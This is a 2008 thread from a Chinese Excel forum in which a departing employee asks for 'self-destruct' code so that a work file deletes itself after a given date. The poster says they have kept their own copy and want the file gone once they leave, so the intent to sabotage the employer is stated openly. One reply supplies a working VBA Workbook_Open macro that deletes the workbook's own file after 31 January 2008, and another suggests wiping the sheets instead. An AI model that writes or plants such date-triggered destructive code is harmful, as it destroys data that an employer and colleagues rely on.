Excel精英培训网

 找回密码
 注册
数据透视表40+个常用小技巧,让你一次学会!
查看: 12156|回复: 41

定时自杀文件代码一段

[复制链接]
发表于 2008-1-15 18:06 | 显示全部楼层 |阅读模式
本帖最后由 爱疯 于 2013-4-21 11:31 编辑

求:

自杀代码一段(用于工作上)

要注:

到指定时间没有删除代码就自杀整个工作薄

自杀时间为:2008年1月31日

 

谢谢大家了!

 

[此贴子已经被zjxia889于2008-1-15 20:09:02编辑过]
发表于 2008-1-15 18:15 | 显示全部楼层
回复

使用道具 举报

发表于 2008-1-15 18:16 | 显示全部楼层
回复

使用道具 举报

 楼主| 发表于 2008-1-15 18:39 | 显示全部楼层

QUOTE:
以下是引用Luckyguy2008在2008-1-15 18:15:00的发言:
找大雨吧,他有自杀方法大全[em01]

大雨在哪里?
回复

使用道具 举报

发表于 2008-1-15 18:42 | 显示全部楼层

小雪是不是辞职了,然后要把以前的东西全部删掉?估计那个公司非常对不住你了。

回复

使用道具 举报

发表于 2008-1-15 18:54 | 显示全部楼层

自杀多麻烦,把时间定要,只要到时间把整个表,清空,自动保持文件就坏了

回复

使用道具 举报

 楼主| 发表于 2008-1-15 19:02 | 显示全部楼层

我把文件备份了

等我走后让那样文件全部自杀掉

[此贴子已经被作者于2008-1-15 19:02:05编辑过]
回复

使用道具 举报

 楼主| 发表于 2008-1-15 19:04 | 显示全部楼层

QUOTE:
以下是引用hncd在2008-1-15 18:54:00的发言:

自杀多麻烦,把时间定要,只要到时间把整个表,清空,自动保持文件就坏了

这样也好,老师帮我把日期定在2月1日吧

 

时间到了整个工作薄自动清空

 

让他只有一个空架子在那里就行了

[em01]
回复

使用道具 举报

发表于 2008-1-15 19:10 | 显示全部楼层

Private Sub Workbook_Open()
    If Date <= #1/31/2008# Then Exit Sub
    MsgBox "
文件已过期。"
    With ThisWorkbook
        .Saved = True
        .ChangeFileAccess xlReadOnly
        Kill .FullName
        .Close False
    End With
End Sub

以前搜索到的

回复

使用道具 举报

 楼主| 发表于 2008-1-15 19:14 | 显示全部楼层

谢谢楼上的老师!

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|Excel精英培训 ( 豫ICP备11015029号 )

GMT+8, 2024-3-29 10:08 , Processed in 0.564827 second(s), 7 queries , Gzip On, Yac On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表